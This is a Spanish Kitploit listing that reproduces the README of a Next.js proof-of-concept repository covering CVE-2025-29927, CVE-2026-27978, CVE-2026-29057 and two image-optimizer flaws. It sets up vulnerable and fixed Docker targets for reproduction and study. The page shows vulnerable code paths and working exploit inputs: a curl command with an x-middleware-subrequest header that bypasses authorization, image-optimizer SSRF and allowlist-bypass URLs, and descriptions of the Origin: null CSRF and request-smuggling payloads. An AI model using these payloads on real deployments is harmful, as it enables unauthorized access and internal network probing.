Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Next.js-Proof-of-Concept — Algunas Pruebas de Concepto (POCs) para CVE-2025-29927, CVE-2026-27978 y CVE-2026-29057 en Next.js. | Kitploit
Herramientas/GitHubGitHub/nayekah/next.js-proof-of-concept
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAprendizaje y EducaciónLabs y Práctica
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

Algunas Pruebas de Concepto (POCs) para CVE-2025-29927, CVE-2026-27978 y CVE-2026-29057 en Next.js.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Prueba de concepto de CVE de Next.js

Este repositorio contiene entornos de prueba de concepto reproducibles para tres vulnerabilidades de Next.js. Cada PoC incluye un objetivo vulnerable, un objetivo corregido y un script que demuestra la diferencia de comportamiento entre ambos.

El objetivo de este proyecto es facilitar la observación de la causa raíz y el impacto práctico de cada problema en un entorno mínimo.

Vulnerabilidades incluidas

CVEAvisoImpactoVersión vulnerableVersión corregida
CVE-2025-29927GHSA-f82v-jwr5-mffwomisión de autorización cuando el control de acceso se basa únicamente en middleware15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxomisión de las comprobaciones CSRF de Server Actions mediante Origin: null16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8contrabando de solicitudes HTTP a través de reescrituras hacia un backend externo15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECThallazgo de auditoría de código fuente localomisión de la lista permitida remota del optimizador de imágenes mediante redirecciones16.2.4no verificado
NEXT-16.2.4-IMAGE-LOCAL-REWRITEhallazgo de auditoría de código fuente localla URL local del optimizador de imágenes puede alcanzar un upstream privado mediante reescrituras externas16.2.4no verificado

Commits de lanzamiento y commits de parche

Los hashes siguientes están tomados del upstream vercel/next.js.

CVECommit de lanzamiento vulnerableCommit de lanzamiento corregidoCommit de parche relevante
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

Estructura del repositorio

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

Requisitos previos

  1. Instala Docker Desktop o Docker Engine.
  2. Asegúrate de que docker compose esté disponible.
  3. Ejecuta los comandos desde la raíz de este repositorio.

Iniciar todos los servicios

root@kitploit:~
docker compose up --build

Puertos expuestos:

  • 3001 -> CVE-2025-29927 vulnerable
  • 3002 -> CVE-2025-29927 corregido
  • 3003 -> CVE-2026-27978 vulnerable
  • 3004 -> CVE-2026-27978 corregido
  • 3005 -> CVE-2026-29057 vulnerable
  • 3006 -> CVE-2026-29057 corregido
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Reproducir 1: CVE-2025-29927

Ruta de código vulnerable

En este PoC, /dashboard está protegido únicamente por middleware:

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

La comprobación de autorización en sí no es incorrecta. El problema es que la ruta depende por completo de la suposición de que la ejecución del middleware no se puede omitir.

En las versiones afectadas de Next.js, las solicitudes externas aún podían proporcionar la cabecera interna x-middleware-subrequest, y el runtime trataba ese valor como metadatos de middleware de confianza. La lógica vulnerable relevante era:

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest no se filtraba allí, por lo que la entrada controlada por el atacante podía llegar al runtime del middleware. Ese valor se usaba después para derivar la profundidad de recursión:

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

Si un atacante envía middleware:middleware:middleware:middleware:middleware, el runtime puede concluir que la profundidad de recursión ya se ha alcanzado y reenviar la solicitud sin ejecutar el middleware de la aplicación.

Ejecución

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

Comportamiento esperado:

  • 3001 devuelve una redirección sin la cabecera del exploit, pero devuelve 200 OK con x-middleware-subrequest.
  • 3002 sigue redirigiendo a /login porque la cabecera interna ya no se considera de confianza cuando proviene de entrada externa.

Reproducir 2: CVE-2026-27978

Ruta de código vulnerable

Este PoC expone una Server Action normal que cambia el estado del lado del servidor:

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

El problema no está en transferFunds() en sí. El comportamiento vulnerable estaba en la validación CSRF de Next.js para Server Actions. En las versiones afectadas, Origin: null se trataba como un origen ausente en lugar de un origen opaco explícito:

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

Debido a que 'null' se convertía en undefined, las solicitudes desde orígenes opacos, como los iframes con sandbox, podían evitar la ruta de comparación host/origin y aun así procesarse con las cookies de la víctima adjuntas.

Ejecución

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

Comportamiento esperado:

  • el script inicia sesión como la víctima, extrae el campo de Server Action generado de la página y lo envía con Origin: null
  • en el objetivo vulnerable, el estado de la transferencia cambia
  • en el objetivo corregido, la solicitud falla y el estado permanece sin cambios

Reproducir 3: CVE-2026-29057

Ruta de código vulnerable

Este PoC reescribe /rewrites/:path* hacia un backend externo:

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

El comportamiento vulnerable estaba en la dependencia http-proxy incorporada (vendored) que Next.js usa para las reescrituras. En las versiones afectadas, la lógica del proxy para las solicitudes DELETE y OPTIONS podía añadir content-length: 0 y eliminar transfer-encoding:

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

Eso generaba una discrepancia en los límites de la solicitud entre la cadena de proxy y el backend cuando se reenviaba una solicitud fragmentada (chunked) manipulada. Como resultado, una segunda solicitud podía pasarse de contrabando al backend a través de la misma conexión.

Ejecución

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

Comportamiento esperado:

  • el script restablece el estado observado y luego envía una solicitud DELETE /rewrites/poc fragmentada (chunked) en bruto que contiene un GET /secret de contrabando
  • en el objetivo vulnerable, el backend registra tanto DELETE /rewrites/poc como GET /secret
  • en el objetivo corregido, el backend registra solo la primera solicitud reescrita

Ejemplo de salida observado:

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

Reproducir 4: NEXT-16.2.4-IMAGE-REDIRECT

Ruta de código vulnerable

El código fuente local de next.js-16.2.4 valida images.remotePatterns solo para el parámetro url original en ImageOptimizerCache.validateParams():

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

La ruta de obtención de red (fetch) sigue entonces las redirecciones de forma recursiva en fetchExternalImage():

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

Esa llamada recursiva mantiene la comprobación de IP privada, pero no recibe ni vuelve a aplicar domains / remotePatterns. Por lo tanto, un origen de imágenes permitido y configurado puede redirigir al optimizador a un origen público diferente que no superaría la lista permitida de imágenes original.

El PoC utiliza servicios de localhost y establece dangerouslyAllowLocalIP: true únicamente para poder reproducir el comportamiento de la lista permitida sin infraestructura externa. La lista permitida de imágenes configurada solo permite http://127.0.0.1:4100/allowed/**; ese servidor redirige a http://127.0.0.1:4200/blocked/private.png, y el segundo servidor registra si fue alcanzado.

Ejecución

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

Comportamiento esperado:

  • el optimizador acepta la URL permitida original en el puerto 4100
  • el upstream permitido redirige a una URL en el puerto 4200, que está fuera de images.remotePatterns
  • en el objetivo vulnerable, el upstream del puerto 4200 registra GET /blocked/private.png
  • en un objetivo parcheado, el destino de la redirección debería rechazarse antes de obtener el segundo upstream

Comandos manuales rápidos

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

Usa el script proporcionado, porque el campo de Server Action lo genera dinámicamente el servidor.

CVE-2026-29057

Usa el script proporcionado, porque el exploit depende de un payload TCP en bruto con una segunda solicitud de contrabando.

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

Reproducir 5: NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Ruta de código vulnerable

Para una URL de imagen local, ImageOptimizerCache.validateParams() valida solo la ruta local (pathname) contra images.localPatterns:

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

La ruta de obtención interna vuelve a entrar entonces en el manejador de solicitudes de Next.js:

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

Si la ruta local coincidente está configurada como una reescritura externa, la solicitud puede enviarse a través de proxy a ese destino externo. Esta ruta no llama a fetchExternalImage(), por lo que la protección de IP privada utilizada para las URL de imagen absolutas no se aplica al destino reescrito.

La configuración del PoC permite solo URL de imagen locales bajo /allowed/** y luego reescribe esa ruta a http://127.0.0.1:4300/private/:path*:

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

Ejecución

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

Comportamiento esperado:

  • el optimizador acepta /allowed/secret.png porque coincide con images.localPatterns
  • Next.js aplica la reescritura externa a http://127.0.0.1:4300/private/secret.png
  • en el objetivo vulnerable, el upstream privado registra GET /private/secret.png
  • en un objetivo parcheado, el optimizador de imágenes debería rechazar los destinos de reescritura externos/privados antes de enviarlos por proxy

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

Fuentes

  • Avisos de seguridad de Next.js
  • Aviso CVE-2025-29927
  • Postmortem sobre la omisión del middleware
  • Aviso CVE-2026-27978
  • Aviso CVE-2026-29057
  • Commit del parche de CVE-2026-29057
Descargar herramienta